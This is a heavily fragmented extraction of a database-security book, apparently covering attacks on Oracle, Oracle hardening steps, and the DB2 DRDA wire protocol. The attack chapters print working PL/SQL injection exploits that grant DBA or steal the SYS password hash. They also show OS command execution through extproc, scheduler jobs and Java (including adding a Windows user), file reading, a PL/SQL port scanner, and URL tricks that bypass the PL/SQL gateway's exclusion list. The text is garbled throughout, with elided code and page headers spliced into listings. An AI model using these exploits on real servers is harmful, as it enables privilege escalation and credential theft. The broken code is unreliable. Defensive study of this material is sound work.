which is then used in an INSERT statement similar to
INSERT INTO SCHEMA
...
61
09_578014 ch03
...
To demonstrate the hole consider the following:
CREATE TABLE WKVULN (STR1 VARCHAR2(200),A RAW(16), B CHAR(1), C
NUMBER(38));
GRANT INSERT ON WKVULN TO PUBLIC;
DECLARE
X RAW(16);
C CLOB;
BEGIN
X:=WKSYS
...
STORE_ACL(‘SCOTT
...
USER$ WHERE NAME=’’SYS’’),:1,:2,:3)-’,1,c,1,’path’,1);
END;
/
SELECT STR1 FROM SCOTT
...
The password hash for the SYS
user will be selected and inserted into this table
...
Another WKSYS package, this time WK_ADM, has a procedure called
COMPLETE_ACL_SNAPSHOT
...
We can use the WKVULN table again to get the password hash for the SYS user
...
WK_ADM
...
WKVULN SET STR1 =
(SELECT
PASSWORD FROM SYS
...
This is the row we’ll update with the injection
...
WK_ADM
...
WKVULN SET STR1 =
(SCOTT
...
For example, consider the following:
09_578014 ch03
...
PUT_LINE(‘’’ || P_BUF || ‘’’);’ ||
‘END;’;
EXECUTE IMMEDIATE STMT;
END;
Executing this procedure as follows
EXEC ANON_BLOCK(‘FOOBAR’);
returns
FOOBAR
PL/SQL procedure successfully completed
...
Assuming this
ANON_BLOCK procedure was defined by the SYS user, an attacker could
inject into this a GRANT statement to become a DBA
...
PUT_LINE(‘F’);
END;
to
BEGIN
DBMS_OUTPUT
...
Real-World Examples
Although this ANON_BLOCK is a fairly contrived example, this does happen
in the “real world
...
This package has not been defined using
63
09_578014 ch03
...
This procedure executes an anonymous PL/SQL block and it can
be injected into
...
DBMS_EXPORT_EXTENSION
...
”EXPRESSIONINDEXMETHODS”
...
The actual grant is placed in an exception block because the query returns “no
data”
...
Another example is the GET_ACL procedure of the WK_ACL package
owned by WKSYS on Oracle 10g
...
This value is then inserted into an anonymous PL/SQL block
within the procedure to do a select from a remote database link
...
For example, consider the following script:
DECLARE
FOO RAW(2000);
BAR CLOB;
BEGIN
WKSYS
...
GET_ACL(FOO,BAR,’”AAA” WHERE ACL_ID=:1;:2:=:2; EXCEPTION
WHEN OTHERS THEN SCOTT
...
ADD_DBA(); END;--’
...
We have to add “WHERE ACL_ID=:1;:2:=:2” to avoid
“bind variable not present” errors
...
ADD_DBA();
When an exception occurs — for example “no data” is returned — the
SCOTT
...
SCOTT creates this procedure as
follows:
09_578014 ch03
...
ADD_DBA();END;--’ as the third parameter
will do
...
Along with directly executing user-supplied queries using DBMS_SQL,
injecting into an anonymous PL/SQL block is by far the most dangerous form
of PL/SQL injection
...
See the section on writing secure
PL/SQL
...
Owned by SYS it has been defined with the AUTHID CURRENT_USER keyword so it runs with the privileges of the invoker
...
Before we get to how the DBMS_
SQL procedures can be dangerous, let’s examine how it works
...
OPEN_CURSOR;
DBMS_SQL
...
NATIVE);
R := DBMS_SQL
...
CLOSE_CURSOR(C);
END;
Here a cursor, C, is opened using the OPEN_CURSOR function
...
PARSE(C,
STMT, DBMS_SQL
...
Once parsed, the query is executed using DBMS_
SQL
...
Alternatively, the DBMS_SQL
...
FETCH_ROWS(C)
...
CLOSE_CURSOR(C)
...
qxd
66
6/3/05
6:45 PM
Page 66
Chapter 3
can be executed by these procedures
...
When an attempt is made to run such a query using DBMS_SQL,
however, an error is returned
...
DBMS_SYS_SQL”, line 1216
ORA-06512: at “SYS
...
To see this in action, run the following queries:
SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE = ‘DBA’;
returns
GRANTEE
-----------------------------SYS
WKSYS
SYSMAN
SYSTEM
Then run
DECLARE
C NUMBER;
R NUMBER;
STMT VARCHAR2(200);
BEGIN
STMT:=’GRANT DBA TO PUBLIC’;
C :=DBMS_SQL
...
PARSE(C, STMT, DBMS_SQL
...
EXECUTE_AND_FETCH(C);
DBMS_SQL
...
DBMS_SYS_SQL”, line 1216
ORA-06512: at “SYS
...
qxd
6/3/05
6:45 PM
Page 67
Attacking Oracle
WKSYS
PUBLIC
SYSMAN
SYSTEM
Now run
REVOKE DBA FROM PUBLIC;
You don’t want to leave that role assigned
...
PARSE
...
This procedure parses the statement using the privileges of the current user and not the definer of the procedure
...
OPEN_CURSOR;
DBMS_SQL
...
NATIVE);
R := DBMS_SQL
...
CLOSE_CURSOR(C);
END;
/
GRANT EXECUTE ON P TO PUBLIC;
CREATE OR REPLACE PROCEDURE Q AS
C NUMBER;
R NUMBER;
STMT VARCHAR2(200);
BEGIN
STMT:=’GRANT DBA TO PUBLIC’;
C :=DBMS_SQL
...
PARSE_AS_USER(C, STMT, DBMS_SQL
...
EXECUTE_AND_FETCH(C);
DBMS_SQL
...
DBMS_SYS_SQL”, line 1585
ORA-06512: at “SYS
...
qxd
68
6/3/05
6:45 PM
Page 68
Chapter 3
Assuming that the more secure DBMS_SYS_SQL
...
PARSE, in a PL/SQL procedure and user
input is passed to it, there’s potential for abuse by attackers
...
PUBLIC has
the execute permission on this package
...
PARSE and then executed
...
DRILOAD
...
PL/SQL Injection and Database Triggers
In Oracle triggers are written in PL/SQL and execute with the privileges of the
definer; as such they can be used to elevate privileges if they’ve been coded
badly
...
The SDO_CMT_CBK_TRIG trigger is owned by MDSYS and fires when a
DELETE is performed on the SDO_TXN_IDX_INSERTS table, which is also
owned by MDSYS
...
Consequently, anyone can cause the SDO_
CMT_CBK_TRIG trigger to fire by deleting a row from the table
...
PUBLIC
has no object privileges set for either of these tables so they cannot insert their
own function name
...
PUBLIC has the EXECUTE permission on the PRVT_CMT_CBK package and, as it has not been defined with the AUTHID CURRENT_USER keyword, the package executes using the rights of MDSYS, the definer, and not the
invoker
...
Thus
when a DELETE occurs on SDO_TXN_IDX_INSERTS, anyone can influence
09_578014 ch03
...
What is more, this
function, as it is being executed from the trigger will run with the privileges of
MDSYS and an attacker can exploit this to gain elevated privileges
...
It does this by first creating a
table called USERS_AND_PASSWORDS
...
The function, GET_USERS_AND_PWDS, is
then created
...
In
this case, the function takes advantage of the fact that MDSYS has the SELECT
ANY TABLE privilege to SELECT the password hash for SYS from the USER$
table
...
This is so that MDSYS will be able to access them
...
PRVT_
CMT_CBK
...
PRVT_CMT_CBK
...
With everything in place a row is then inserted
into the SDO_TXN_IDX_INSERTS and then deleted
...
GET_USERS_AND_PWDS function and then executes it
...
USER$ and then inserted into SCOTT’s USERS_
AND_PASSWORDS table
...
CREATE TABLE USERS_AND_PASSWORDS (USERNAME VARCHAR2(200), PASSWORD
VARCHAR2(200));
/
GRANT SELECT ON USERS_AND_PASSWORDS TO PUBLIC;
GRANT INSERT ON USERS_AND_PASSWORDS TO PUBLIC;
CREATE OR REPLACE FUNCTION GET_USERS_AND_PWDS(DUMMY1 VARCHAR2, DUMMY2
VARCHAR2) RETURN NUMBER AUTHID CURRENT_USER IS
BEGIN
EXECUTE IMMEDIATE ‘INSERT INTO SCOTT
...
USER$ WHERE NAME =
‘’SYS’’),(SELECT PASSWORD FROM SYS
...
PRVT_CMT_CBK
...
PRVT_CMT_CBK
...
SDO_TXN_IDX_INSERTS (SDO_TXN_IDX_ID,RID)
VALUES(‘FIRE’,’FIRE’);
DELETE FROM MDSYS
...
qxd
70
6/3/05
6:45 PM
Page 70
Chapter 3
The MDSYS
...
The trigger executes the following
...
EXECUTE IMMEDIATE
‘SELECT user FROM dual’ into tname;
stmt := ‘SELECT count(*) FROM SDO_GEOM_METADATA_TABLE ‘ ||
‘WHERE sdo_owner = ‘’’ || tname || ‘’’ ‘ ||
‘ AND sdo_table_name = ‘’’ || :n
...
column_name || ‘’’ ‘;
...
when an INSERT is performed on MDSYS
...
The :new
...
column_name can be influenced by the user
and SQL injected
...
As
such the trigger can be abused to select from any table MDSYS can select from
...
user$ where name
=’’SYS’’’;
begin
execute immediate stmt into buffer;
dbms_output
...
user_sdo_geom_metadata (table_name,column_name) values
(‘X’’ AND SDO_COLUMN_NAME=scott
...
SDO_LRS_TRIG_INS trigger fires when an INSERT occurs on
the MDSYS
...
PUBLIC can insert into this
view and so cause the trigger to fire
...
Both Oracle 9i and 10g are affected
...
...
...
table_name) || ‘’’ ‘ ||
sdo_column_name = ‘’’ || UPPER(:n
...
qxd
6/3/05
6:45 PM
Page 71
Attacking Oracle
and :new
...
column_name are user supplied in the INSERT
statement
...
user$ where name
=’’SYS’’’;
begin
execute immediate stmt into buffer;
dbms_output
...
user_sdo_lrs_metadata
(table_name,column_name,dim_pos,dim_unit) values (‘W’’ AND
SDO_COLUMN_NAME=SCOTT
...
SYS_C002760) violated
ORA-06512: at “MDSYS
...
SDO_LRS_TRIG_INS’
This is because the USER_SDO_LRS_METADATA view references the table
MDSYS
...
This table has a constraint that
requires that SDO_DIM_POS = 3 or 4
...
In fact, it’s one of the more common application environments used for
Oracle-based web applications
...
It receives
requests from clients and passes these to the backend database server for execution
...
For example, assume there’s a bookstore that uses PL/SQL for its e-Commerce
site
...
Assume the package that allows book browsing
is called BROWSE and it exports a number of procedures such as SEARCH_
BY_AUTHOR, SEARCH_BY_TITLE, and so on
...
books
...
com/pls/bookstore/browse
...
qxd
72
6/3/05
6:45 PM
Page 72
Chapter 3
Let’s break this down:
www
...
example
...
The /pls indicates that this is a
request for a PL/SQL application
...
/bookstore is the DAD or Database Access Descriptor
...
This information includes
things like the username and password with which the web server will
authenticate
...
Note that if the web user happened to know the name
of the schema in which the browse package resides, let’s say SCOTT, he or she
could request /pls/bookstore/SCOTT
...
SEARCH_BY_AUTHOR
...
The database server executes the SEARCH_BY_AUTHOR procedure passing Dickens as an argument
...
The web server duly responds to
the client
...
This
Toolkit contains packages such as HTP, which contains procedures for producing HTML text, and HTF, which contains functions for creating HTML text
...
OWA_UTIL contains a number of interesting procedures such as CELLSPRINT
...
In older versions of Oracle Application Server it was possible to execute this
procedure:
http://www
...
example
...
OWA_UTIL
...
Needless to say, allowing people to run
queries over the Web against your backend database server is not a good thing,
so Oracle fixed this
...
If a request
came in for anything in the list it would be rejected
...
Oracle didn’t add
schemas like MDSYS or CTXSYS, but more on that later
...
By inserting
a %20, %08, or a %0A in front of the schema, one could still gain access to the
SYS schema:
http://www
...
example
...
OWA_UTIL
...
A while later, I went back and took a look at
this exclusion list protection and, out of curiosity, I tested its robustness
...
qxd
6/3/05
6:45 PM
Page 73
Attacking Oracle
time I went from %00 to %FF replacing the Y of SYS and checked the web
server for a 200 response — that is, I could gain access to OWA_UTIL again
...
Interestingly, though, the
database server translated the 0xFF to 0x59 — a Y! This allowed me to gain
access to OWA_UTIL again and allowed me to run arbitrary queries
...
books
...
com/pls/bookstore/S%FFS
...
CELLSPRINT?P_
THEQUERY=select+1+from+dual
This is related to the character sets in use by the application server and the
database server
...
Digging deeper I also found that if the web
server uses the AMERICAN_AMERICA
...
WE8MSWIN1252
character set, then %9F is also converted to a Y
...
books
...
com/pls/bookstore/S%9FS
...
CELLSPRINT?P_
THEQUERY=select+1+from+dual
There may be other such interesting combinations
...
In September I reported an
issue with a PL/SQL procedure that had a security impact if one could get to
it via an application server, but Oracle refused to fix it on the grounds that
because of their new “fix” for the exclusion lists it wasn’t possible to gain
access to the procedure
...
I argued with them saying that I’d found two bugs in the past in the exclusion list, and could they be
absolutely sure there weren’t any more
...
In fact I was so irritated it caused me to have a flash of inspiration: you can
enclose identifiers, such as SYS, in double quotes — for example:
EXEC “SYS”
...
PUT_LINE(‘Hello!’);
Why not use double quotes when calling it via an application server
...
Sure enough it did
...
So while the double quotes still get through, the database server can find the
“sys” schema
...
So Oracle is now fixing this and, thankfully, the bug in the procedure
...
Earlier we discussed the DRILOAD package in the CTXSYS schema
...
This can be abused over the Web
...
qxd
74
6/3/05
6:45 PM
Page 74
Chapter 3
it doesn’t seem like it’s working
...
DRILOAD”, line 42
ORA-01003: no statement parsed
ORA-06512: at line 1
This is sent back to the web server so the web server returns a 404 file not
found response
...
For example, requesting
http://www
...
example
...
driload
...
PRINT(‘hello’);
+END;
returns a 404
...
books
...
com/pls/bookstore/ctxsys
...
validate_stmt?
sqlstmt=GRANT+EXECUTE+ON+WEBTEST+TO+PUBLIC
also returns a 404
...
books
...
com/pls/bookstore/ctxsys
...
What has happened here? Our first request creates a procedure called
WEBTEST that uses HTP
...
This procedure is created
and owned by CTXSYS
...
Finally we can call it — the last request
...
It should be noted here that 99% of the issues discussed in this section on
PL/SQL can be performed over the Web via an Oracle Application Server
...
Before looking at how to defend the server, the next chapter examines how an attacker moves deeper into the operating system and into the rest
of the network
...
qxd
6/3/05
6:52 PM
Page 75
CHAPTER
4
Oracle: Moving Further
into the Network
The Oracle RDBMS could almost be considered as a shell like bash or the Windows Command Prompt; it’s not only capable of storing data but can also be
used to completely access the file system, run operating system commands
and, what’s more, some of the default PL/SQL packages and procedures can
access the network
...
Of course, all of this functionality exists to make the RDBMS as flexible as possible for business use but
once compromised, the Oracle RDBMS becomes a dangerous and powerful
tool in the hands of a skillful attacker with nefarious intent
...
Running Operating System Commands
Providing you have the appropriate level of authorization, running operating
system commands is a trivial task and can be done in a number of ways
...
For example, elevating privileges through PL/SQL
injection is discussed
...
qxd
76
6/3/05
6:52 PM
Page 76
Chapter 4
Running OS Commands with PL/SQL
Before showing how it’s possible to run OS commands from PL/SQL let’s look
at the technology behind how it works
...
External procedures are essentially functions that are
exported by shared objects or dynamic link libraries
...
For example, assume we need to check a registry value on a Windows system
from an Oracle application
...
We write a C function to check the registry and then export it from a DLL
...
We
then tell the Oracle RDBMS about the DLL by creating a LIBRARY:
CREATE OR REPLACE LIBRARY CHK_REG AS ‘chkregistry
...
dll)
...
The chain of events that happens on calling the C_REG
procedure from Oracle is interesting (and open to abuse)
...
The TNS Listener launches another process, namely extproc, and instructs the
Oracle process to connect to the extproc process
...
dll and execute the
CheckReg() function
...
By using external procedures we can execute operating system commands by
creating an Oracle library for msvcrt
...
CREATE OR REPLACE LIBRARY
exec_shell AS ‘C:\winnt\system32\msvcrt
...
Note that this example uses a full path
...
Next we create the procedure:
10_578014 ch04
...
exec (‘net user ngssoftware password!! /add’);
Now one of the more interesting aspects of all of this is the history of the
security problems related to external procedures
...
Up to and including Oracle 9i an attacker
could connect to the listener and pretend to be the Oracle process and execute
functions remotely without requiring a user ID or password, allowing the
attacker to completely compromise the database server
...
The fix includes a check to see if the external
procedure caller is the local machine
...
This is of course an incorrect assumption and an
attacker that can gain local access to the machine, either at the console or via
telnet or SSH, can still run commands as the Oracle user without a valid Oracle user ID or password
...
Remote attacks fail; but there’s a twist
...
If an overly long library name is
passed to extproc, a fixed-size buffer on the stack is overflowed allowing a
remote attacker without a user ID and password to still gain control
...
This is a good step to take but
Oracle made a critical error: extproc will expand any environment variables
found in the path to the library supplied by the caller
...
As such, if the caller requests that extproc loads
$PATH$PATH$PATH$PATHfoo
...
qxd
78
6/3/05
6:52 PM
Page 78
Chapter 4
the length check comes back with 27 (the number of bytes in the preceding
string)
...
But then the expansion
occurs and our string suddenly becomes much longer than 27 bytes
...
dll” part
...
The buffer overflow is still there
and so a remote attacker without a user ID and password can still gain control
...
Adding to this series of errors is a problem in the way paths are handled
...
This can be easily defeated with a parent path attack when the
library is created:
$ORACLE_HOME\bin\
...
dll
External procedures, while offering extreme flexibility, are a severe security
risk
...
”
External procedures, where possible, should be disabled
...
Running OS Commands with DBMS_SCHEDULER
Oracle 10g comes with a new package: the DBMS_SCHEDULER
...
The CREATE_JOB procedure creates
new jobs to be run by the database server
...
BEGIN
dbms_scheduler
...
sh’,
TRUE,
TRUE);
exec dbms_scheduler
...
If
a user has the relevant permissions, granted via DBMS_JAVA, he can run operating system commands with the following:
10_578014 ch04
...
lang
...
io
...
getRuntime()
...
execCommand (java
...
String)’;
/
IN
VARCHAR2)
Once the class and procedure have been created an OS command can be run:
exec javacmdproc(‘cmd
...
txt’);
On Linux the command would be
exec javacmdproc(‘/bin/sh –c ls > /tmp/list
...
Like most
RDBMS, Oracle provides the tools to do this and as such access should be
restricted to the relevant packages
...
UTL_FILE is the package used to do this and it can be used to read and
write to files
...
This takes as one of its parameters the name of a
directory — not a directory in the sense of the file system but an Oracle directory that has been created using the CREATE DIRECTORY command:
CREATE OR REPLACE DIRECTORY THEDIR AS ‘C:\’;
By default, there are no directories that PUBLIC can access and PUBLIC cannot execute CREATE DIRECTORY either
...
Of course, if a user can
create a directory, then he can access the file system
...
79
10_578014 ch04
...
FILE_TYPE;
begin
FD := UTL_FILE
...
ini’,’r’);
DBMS_OUTPUT
...
GET_LINE(FD,BUFFER,254);
DBMS_OUTPUT
...
PUT_LINE(‘End of file
...
IS_OPEN(FD) = TRUE) THEN
UTL_FILE
...
IS_OPEN(FD) = TRUE) THEN
UTL_FILE
...
PL/SQL procedure successfully completed
...
qxd
6/3/05
6:52 PM
Page 81
Oracle: Moving Further into the Network
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “JAVAREADFILE” AS
import java
...
*;
import java
...
*;
public class JAVAREADFILE
{
public static void readfile(String filename) throws IOException
{
FileReader f = new FileReader(filename);
BufferedReader fr = new BufferedReader(f);
String text = fr
...
out
...
readLine();
}
fr
...
readfile (java
...
String)’;
/
IN
VARCHAR2)
exec dbms_java
...
ini’)
Accessing the Network
The Oracle RDBMS is a perfect platform for launching attacks against other
systems on the network
...
If you have the CREATE PROCEDURE privilege, and most accounts do have this system privilege, you can
even code your own PL/SQL network library allowing you to access any kind
of server whether the protocol used is text-based or binary in nature
...
Database links can be created as PUBLIC, which means that anyone can use
the link, or nonpublic
...
When a
database link is created there are two options for authentication against the
81
10_578014 ch04
...
First, a user ID and password can be embedded
...
LINK$ table so anyone that can access this table can
gather credentials for the remote system
...
This is a safer option to use
when creating links
...
For example, assuming there’s a table called foobar on the remote system, it is possible to select data from it with
SELECT * FROM FOOBAR@LINKNAME
Once an Oracle server has been compromised an attacker will be able to
access other database servers that are linked to from the compromised system in
this way
...
By specifying an overly long tnsentry when creating the link
and then selecting from the link, a stack-based buffer is overflowed allowing the
attacker to gain control
...
ngssoftware
...
txt for more details
...
These packages are installed by default and the default permissions for all of them are set to allow PUBLIC the execute permission
...
To help
protect the database server and other systems on the network, the DBA should
revoke the execute permission from PUBLIC and assign it to only those accounts
that require access as a strict business requirement
...
Each of the relevant packages are
discussed in this section detailing what can be done with them
...
UTL_TCP can make TCP connections
10_578014 ch04
...
Further, there are
no restrictions on the format of this data, meaning it can be binary or text-based
...
The key functions in this package are
OPEN_CONNECTION: Opens a socket to the remote host
READ_RAW: Reads binary data from the socket
WRITE_RAW: Writes binary data to the socket
READ_TEXT: Reads ASCII text from the socket
WRITE_TEXT: Writes ASCII text to the socket
Here’s the code for a TCP port scanner, which shows a simple example of
using UTL_TCP:
CREATE OR REPLACE PACKAGE TCP_SCAN IS
PROCEDURE SCAN(HOST VARCHAR2,
START_PORT NUMBER,
END_PORT NUMBER,
VERBOSE NUMBER DEFAULT 0);
PROCEDURE CHECK_PORT(HOST VARCHAR2,
TCP_PORT NUMBER,
VERBOSE NUMBER DEFAULT 0);
END TCP_SCAN;
/
SHOW ERRORS
CREATE OR REPLACE PACKAGE BODY TCP_SCAN IS
PROCEDURE SCAN(HOST VARCHAR2,
START_PORT NUMBER,
END_PORT NUMBER,
VERBOSE NUMBER DEFAULT 0) AS
I NUMBER := START_PORT;
BEGIN
FOR I IN START_PORT
...
PUT_LINE(‘An error occured
...
UTL_TCP
...
qxd
84
6/3/05
6:52 PM
Page 84
Chapter 4
NETWORK_ERROR EXCEPTION;
PRAGMA EXCEPTION_INIT(NETWORK_ERROR,-29260);
BEGIN
DBMS_OUTPUT
...
OPEN_CONNECTION(HOST, TCP_PORT);
DBMS_OUTPUT
...
’);
EXCEPTION WHEN NETWORK_ERROR THEN
IF VERBOSE !=0 THEN
DBMS_OUTPUT
...
’);
END IF;
WHEN OTHERS THEN
DBMS_OUTPUT
...
’);
END CHECK_PORT;
END TCP_SCAN;
/
SHOW ERRORS
UTL_HTTP
UTL_HTTP essentially wraps around UTL_TCP and provides a number of
procedures to communicate with web servers
...
An attacker can use this
package to launch attacks against web servers
...
req;
response utl_http
...
begin_request(‘http://www
...
com/’);
utl_http
...
0’);
response := utl_http
...
read_line(response, txt, TRUE);
dbms_output
...
end_response(response);
EXCEPTION
WHEN utl_http
...
end_response(response);
END;
/
10_578014 ch04
...
To use it, an understanding of the SMTP protocol would be useful
...
)
DECLARE
c utl_smtp
...
open_connection(‘smtp
...
com’);
utl_smtp
...
com’);
utl_smtp
...
com’);
utl_smtp
...
pole
...
open_data(c);
utl_smtp
...
write_data(c, utl_tcp
...
close_data(c);
utl_smtp
...
With a little bit of knowledge of programming Java and
PL/SQL, the attacker’s activities are not just limited to the RDBMS itself — he
can program his way out to the OS and onto the rest of the network
...
qxd
6/3/05
6:52 PM
Page 86
11_578014 ch05
...
The reason for this is quite simple — the Oracle RDBMS is huge
...
Oracle Security Recommendations
This section details those actions that can be taken to secure Oracle
...
This section lists
a few simple steps that will improve the security of your TNS Listener
...
Setting a Listener password will prevent unauthorized administration of the Listener
...
ora file and add the following line:
87
11_578014 ch05
...
Because this password is in clear text, and clear
text passwords are not secure, it should be encrypted
...
1
...
100
Current Listener is listener
LSNRCTL> change_password
Old password:
New password:
Reenter new password:
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC0)))
Password changed for listener
The command completed successfully
LSNRCTL> set password
Password:
The command completed successfully
LSNRCTL> save_config
Connecting to (DESCRIPTION= (ADDRESS= (PROTOCOL=IPC) (KEY=EXTPROC0)))
Saved LISTENER configuration parameters
...
ora
Old Parameter File
C:\oracle\ora92\network\admin\listener
...
ora file to an encrypted password
...
With Admin Restrictions turned on certain commands cannot be
called remotely, even if the Listener password is supplied
...
ora file:
ADMIN_RESTRICTIONS_listenername = ON
Stop and restart the Listener
...
To turn on TCP valid node checking, edit
the protocol
...
ora on older versions) as follows:
TCP
...
EXCLUDED_NODES = {List of IP addresses separated by a comma}
11_578014 ch05
...
INVITED_NODES = {List of IP addresses separated by a comma}
The latter, TCP
...
Turn off XML Database
The XML Database (XDB) provides two services
...
If XDB is not used it should be turned off
...
ora or spfiledbsid
...
dispatchers=’(PROTOCOL=TCP) (SERVICE=dbsidXDB)’
Turn off External Procedures
External procedures allow PL/SQL procedures to call functions in operating
system shared objects (libraries/DLLs)
...
Developers of custom PL/SQL code should try to
avoid using external procedures if at all possible
...
This can be
enabled by using the Oracle Net Manager tool
...
Accounts
Perhaps the easiest way to compromise an Oracle server is to guess a username and password
...
This section shows
you how
...
qxd
90
6/3/05
6:54 PM
Page 90
Chapter 5
Lock and Expire Unused Accounts
All unused accounts should be locked and expired
...
New Account Creation
Define a user account naming standard, such as first initial/lastname; for
example, jsmith
...
All new user account creation should be authorized by a designated
Security Officer
...
This section
can help you to eliminate weak passwords from your server
...
Special attention
should be paid to the SYS, SYSTEM, CTXSYS, MDSYS, DBSNMP, and OUTLN
accounts
...
Define and Enforce a Good Password Policy
Passwords should be easy to remember but difficult to guess
...
This should be
enforced using a password verification function
...
To enable password expiration run the following
statement for each profile:
ALTER PROFILE profile_name LIMIT
PASSWORD_LIFE_TIME new_value
Passwords should not be reused for a set period of time
...
qxd
6/3/05
6:54 PM
Page 91
Securing Oracle
Further, it is possible to set how many new passwords must be set before an
old password can be reused
...
To enable this run the following from
SQL*Plus for each profile:
ALTER PROFILE profile_name LIMIT
PASSWORD_GRACE_TIME new_value
Roles
Correct use of roles can improve the security of your system and help to keep
it secure in the future
...
New Role Creation
New roles should be given a meaningful name and be created by a designated
Security Officer
...
New roles can be created using SQL*Plus using the
CREATE ROLE statement
...
Roles for User Accounts
To help with management of users, all user accounts should be assigned to a
specific role with minimal privileges
...
Roles for Application Accounts
Each application account should be assigned to a specific role with minimal
privileges
...
Limit the Default CONNECT Role
The default CONNECT role can create procedures and database links
...
qxd
92
6/3/05
6:54 PM
Page 92
Chapter 5
assigned these privileges instead
...
Set a Password on Highly Privileged Roles
For roles that are highly privileged, such as the DBA role, a password should
be set
...
Authentication
Remote Authentication should be turned off
...
To
turn off remote authentication, edit the initdbsid
...
ora file and
add the following line:
REMOTE_OS_AUTHENT = FALSE
Stop and restart the database
...
This allows attackers to
launch a brute-force attack
...
To do
this, take the following action
...
If the application account is
locked out, the application will fail and this is not desirable
...
Use the Principle of Least Privilege
Use the principle of least privilege when creating new accounts or roles and
assigning privileges
...
For example, if
a user SCOTT needs to be able to SELECT from a table FOO, then only grant the
SELECT permission
...
Enable SQL92 Security Parameter
The SQL92 Security parameter determines whether users may INSERT or
UPDATE a table for which they do not have the SELECT permission
...
qxd
6/3/05
6:54 PM
Page 93
Securing Oracle
can use this to determine extant values by using conditional UPDATEs or
INSERTs
...
Revoke any Unnecessary Permissions
By default Oracle object and system privileges are too lax
...
Special attention needs to be paid to the PUBLIC role and
the EXECUTE permission on PL/SQL packages, procedures, and functions
...
Auditing
Turn on auditing
...
Enable Data Dictionary Protection
Users or roles that have been granted the SELECT ANY system privilege will
be able to select from the security sensitive tables such as SYS
...
Enabling
Data Dictionary Protection will prevent this
...
Edit the initdbsid
...
ora file
and add the following line:
O7_DICTIONARY_ACCESSIBLE = FALSE
Stop and restart the database
...
Enable Database Link Login Encryption
The SYS
...
Anybody who can select from this table will be able to view these credentials
...
PL/SQL Packages, Procedures, and Functions
PL/SQL packages, procedures, and functions execute with the privileges of the
definer and not the invoker unless the AUTHID CURRENT_USER keyword has
been used when the PL/SQL code was written
...
93
11_578014 ch05
...
Unless there is a clear business case for PUBLIC, or any role/
user, having the EXECUTE permission on a particular package, procedure, or
function, it should be revoked
...
Any code should be reviewed for
security flaws such as SQL Injection vulnerabilities during the testing stage
before being installed on a production system
...
Triggers
Triggers can be used as a good generator of audit information (see the Auditing
section)
...
The source code of all triggers should be reviewed to ascertain
if they are vulnerable or not
...
A Security Officer should be responsible for checking Metalink for news of
new patches
...
In such cases, the Security Officer should work with the DBA
to find a way to mitigate the risk of the new vulnerability in the absence of an
Oracle-supplied patch
...
NGSSQuirreL for Oracle can be used for this purpose
...
qxd
6/3/05
6:54 PM
Page 95
Securing Oracle
New Database Installs
A little security planning goes a long way toward preventing security incidents in the future
...
Before installing the database a checklist should be
made of what is needed and what is not, and the database server should be
installed using this checklist
...
This account is assigned a default
password of OUTLN and is also given the EXECUTE ANY PROCEDURE system privilege
...
It is imperative that the password for the OUTLN
account be changed immediately
...
qxd
6/3/05
6:54 PM
Page 96
12_578014 pt03
...
qxd
6/3/05
6:49 PM
Page 98
13_578014 ch06
...
This could be considered a good thing because the
more functionality a bit of software has, the greater the attack surface; a smaller
attack surface means that the software is easier to secure or defend
...
One thing is for
sure: when IBM is alerted to a bug in DB2, it turns around high-quality fixes in
a short space of time and it should be commended for this
...
If you don’t already have access to a DB2 server, you
can download a time-limited evaluation version from http://
www-306
...
com/software/data/db2/
...
As new bugs
are discovered fixes are distributed in maintenance upgrades known as Fixpaks
...
qxd
100
6/3/05
6:51 PM
Page 100
Chapter 6
As this chapter is being written, the most recent Fixpak for DB2 version 8 is
Fixpak 7a and for DB2 7, Fixpak 12
...
DB2 Deployment Scenarios
According to research published by the IDC in August 2003, IBM’s DB2 enjoys
a 33
...
What I find strange, though, is that in all
my years working in security and performing network and application assessments I’ve come across DB2 only three times, whereas other RDBMS such as
Oracle, Microsoft SQL Server, and mysql are ubiquitous
...
In discussions
with other people working in the same field, their experiences are the same
...
Needless to say, after people have read this I’ll probably have a
score of DB2 pros mail me and point me in the right direction
...
From this one could guess that the common
deployment scenario for DB2 would be in conjunction with another, or multiple, IBM products — but this is of course just a guess
...
What follows will help those responsible for
the integration and deployment of DB2 understand the risks that might be
involved in a given scenario, particularly with regards to server location and
protection with the use of firewalls and so on
...
Let’s look at
a packet:
IP Header
Length and version: 0x45
Type of service: 0x00
Total length: 319
13_578014 ch06
...
168
...
1
Dest IP: 192
...
0
...
In this packet
we have, among other things, the username and password, so you begin to see
what I mean about perhaps obfuscation being used; there doesn’t seem to be a
plaintext username or password present at all
...
EBCDIC stands for Extended Binary
Coded Decimal Interchange Code and is an IBM invention
...
dynamoo
...
htm
...
Before doing this let’s talk about the protocol itself
...
(Earlier versions used db2ra but we’ll focus on DRDA)
...
qxd
102
6/3/05
6:51 PM
Page 102
Chapter 6
is supposed to be an open standard but its use hasn’t really gained much traction
...
sourceforge
...
Note that this is still a work in progress
...
Each DSS request contains a command
and any command parameters
...
Various commands are available but the first command sent when a new connection is set up is the EXCSAT DDM command or Exchange Server Attributes
...
Each command has a 2-byte numeric code
...
Let’s
break this packet down:
Key: S = Size, H = Header, Q = Correlation Identifier, D = Datatype, V =
Value
S:
H:
Q:
S:
C:
00
d0
00
00
10
26
41
01
20
6d ; ACCSEC Command
S: 00 06
D: 11 a2
V: 00 03
S: 00 16
D: 21 10 ; Relational Database Name
V: e3 d6 d6 d3 e2 c4 c2 40 40 40
40 40 40 40 40 40 40 40
--------------------------------S:
H:
Q:
S:
C:
00
d0
00
00
10
38
41
02
32
6e ; SECCHK Command
S: 00 06
D: 11 a2 ; Security Mechanism
V: 00 03
S: 00 16
D: 21 10 ; Relational Database Name
V: e3 d6 d6 d3 e2 c4 c2 40 40 40
40 40 40 40 40 40 40 40
13_578014 ch06
...
qxd
104
6/3/05
6:51 PM
Page 104
Chapter 6
S: 00 05
D: 21 3b
V: f1
Header
Each DSS has a header with the DDMID, which is always 0xD0 and a byte that
describes the format
...
Some common formats are as follows:
0x01: A single DSS request
...
Next DSS has a different correlation
identifier
...
0x51: Chained/multiple DSS requests
...
If an error occurs while processing a DSS, continue
...
Next DSS has a different correlation
identifier
...
0x05: A single DSS but no reply is expected
...
Indicates that access to the database is
required
...
Indicates that client wishes to be
authenticated
...
Indicates the client wants
access to the named database
...
Describes the authentication method being
used, in this case 3
...
The DDM specification
describes 15 different mechanisms
...
opengroup
...
htm for more details
...
The password of the user
...
The username
...
